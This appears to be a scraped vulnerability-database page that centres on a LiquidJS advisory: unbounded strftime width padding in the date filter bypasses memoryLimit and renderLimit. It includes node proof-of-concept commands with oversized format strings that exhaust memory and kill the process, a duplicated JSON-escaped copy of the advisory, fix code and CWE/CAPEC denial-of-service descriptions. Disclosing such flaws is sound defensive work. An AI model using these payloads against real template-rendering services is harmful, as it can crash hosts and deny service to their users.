Summary
golang.org/x/net/http vulnerable to ping floods
Details

Some HTTP/2 implementations are vulnerable to ping floods, potentially leading to a denial of service. The attacker sends continual pings to an HTTP/2 peer, causing the peer to build an internal queue of responses. Depending on how efficiently this data is queued, this can consume excess CPU, memory, or both.

Vulnerability from github – Published: 2026-05-27 17:33 – Updated: 2026-07-09 21:06
VLAI
Summary
LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)
Details

Summary

The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.

Details

date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:

export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
  const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
  this.context.memoryLimit.use(size)
  ...
  return strftime(date, format)
}

strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:

function format (d, match) {
  const [input, flagStr = '', width, modifier, conversion] = match
  ...
  let padWidth = width || padWidths[conversion] || 0
  ...
  return padStart(ret, padWidth, padChar)   // strftime.ts:147
}

padStart calls pad() in src/util/underscore.ts:153:

export function pad (str, length, ch, add) {
  str = String(str)
  let n = length - str.length
  while (n-- > 0) str = add(str, ch)   // unbounded loop
  return str
}

The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.

Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.

This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).

PoC

Setup: npm install liquidjs@10.25.7.

Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):

node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"

Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.

Step 2 — OOM-kill the Node process under a 200 MB heap cap:

node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"

Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.

The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).

Impact

  • DoS against any LiquidJS-rendered surface where a context value reaches the date filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process.
  • Bypass of the engine's two documented DoS controls — memoryLimit and renderLimit — meaning that operators who explicitly opted into DoS protection still have no defense for this code path.
  • All date_to_xmlschema, date_to_rfc822, date_to_string, date_to_long_string paths share the same sink via strftime, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on date.

Recommended Fix

Two complementary fixes:

  1. Have pad() in src/util/underscore.ts charge the Context's memory limit and use String.prototype.repeat instead of an O(n) concatenation loop. Since pad() is generic, the simplest version takes the memory limit as a parameter:
export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {
  str = String(str)
  const n = length - str.length
  if (n <= 0) return str
  return add === ((s, c) => c + s)
    ? ch.repeat(n) + str
    : str + ch.repeat(n)
}
  1. Cap padWidth in src/util/strftime.ts:141 and account for it via memoryLimit. The date filter (src/filters/date.ts) should also charge this.context.memoryLimit.use(parsedMaxWidth) before invoking strftime, e.g. by scanning the format for %(\d+) widths and summing them. A conservative cap (e.g. Math.min(width, 1024) for non-N conversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use.

Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.

The captured `width` group is passed directly to `padStart`:\n\n```ts\nfunction format (d, match) {\n  const [input, flagStr = \u0027\u0027, width, modifier, conversion] = match\n  ...\n  let padWidth = width || padWidths[conversion] || 0\n  ...\n  return padStart(ret, padWidth, padChar)   // strftime.ts:147\n}\n```\n\n`padStart` calls `pad()` in `src/util/underscore.ts:153`:\n\n```ts\nexport function pad (str, length, ch, add) {\n  str = String(str)\n  let n = length - str.length\n  while (n-- \u003e 0) str = add(str, ch)   // unbounded loop\n  return str\n}\n```\n\nThe loop has no upper bound and never consults `this.context.memoryLimit` or `renderLimit`. The pad is also implemented as repeated `ch + str` string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.\n\nFilter arguments accept context-evaluated values (`src/template/filter.ts:30-31`, `evalToken(arg, context)`), so any deployment that passes a context value as the date format \u2014 a documented and tested usage pattern \u2014 exposes the sink to attacker-controlled input.\n\nThis is a separate sink from the previously-reported quadratic `replace` finding: a different filter (`date`), a different parser (the strftime width regex), and a different concatenation site (`pad()` in `underscore.ts`).\n\n## PoC\n\nSetup: `npm install liquidjs@10.25.7`.\n\nStep 1 \u2014 bypass `memoryLimit` and `renderLimit` (5 MB output, ~200 ms, both limits set to 50):\n\n```bash\nnode -e \"\nconst { Liquid } = require(\u0027liquidjs\u0027);\nconst liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });\nconst t0 = Date.now();\nconst out = liquid.parseAndRenderSync(\u0027{{ d | date: f }}\u0027, { d: \u0027now\u0027, f: \u0027%5000000d\u0027 });\nconsole.log(\u0027len=\u0027, out.length, \u0027ms=\u0027, Date.now()-t0);\n\"\n```\n\nVerified output: `len= 5000000 ms= 198`. The `memoryLimit:50` (50-byte budget) and `renderLimit:50` (50 ms budget) are both ignored.\n\nStep 2 \u2014 OOM-kill the Node process under a 200 MB heap cap:\n\n```bash\nnode --max-old-space-size=200 -e \"\nconst { Liquid } = require(\u0027liquidjs\u0027);\nconst liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });\nliquid.parseAndRenderSync(\u0027{{ d | date: f }}\u0027, { d: \u0027now\u0027, f: \u0027%99999999d\u0027 });\n\"\n```\n\nVerified output: `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`. Process is killed.\n\nThe realistic attack template is `{{ post.created_at | date: user_supplied_format }}`, where `user_supplied_format` is any context value an attacker can influence (profile field, query param mapped into template context, etc.).\n\n## Impact\n\n- DoS against any LiquidJS-rendered surface where a context value reaches the `date` filter\u0027s format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process.\n- Bypass of the engine\u0027s two documented DoS controls \u2014 `memoryLimit` and `renderLimit` \u2014 meaning that operators who explicitly opted into DoS protection still have no defense for this code path.\n- All `date_to_xmlschema`, `date_to_rfc822`, `date_to_string`, `date_to_long_string` paths share the same sink via `strftime`, but with hard-coded formats they\u0027re not directly attacker-controllable; the user-facing risk is on `date`.\n\n## Recommended Fix\n\nTwo complementary fixes:\n\n1. Have `pad()` in `src/util/underscore.ts` charge the Context\u0027s memory limit and use `String.prototype.repeat` instead of an O(n) concatenation loop. Since `pad()` is generic, the simplest version takes the memory limit as a parameter:\n\n```ts\nexport function pad (str: any, length: number, ch: string, add: (str: string, ch: string) =\u003e string) {\n  str = String(str)\n  const n = length - str.length\n  if (n \u003c= 0) return str\n  return add === ((s, c) =\u003e c + s)\n    ? ch.repeat(n) + str\n    : str + ch.repeat(n)\n}\n```\n\n2. Cap `padWidth` in `src/util/strftime.ts:141` and account for it via `memoryLimit`. The `date` filter (`src/filters/date.ts`) should also charge `this.context.memoryLimit.use(parsedMaxWidth)` before invoking `strftime`, e.g. by scanning the format for `%(\\d+)` widths and summing them. A conservative cap (e.g. `Math.min(width, 1024)` for non-`N` conversions) is also reasonable \u2014 strftime widths beyond a few dozen characters have no legitimate use.\n\nBoth fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.",

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.
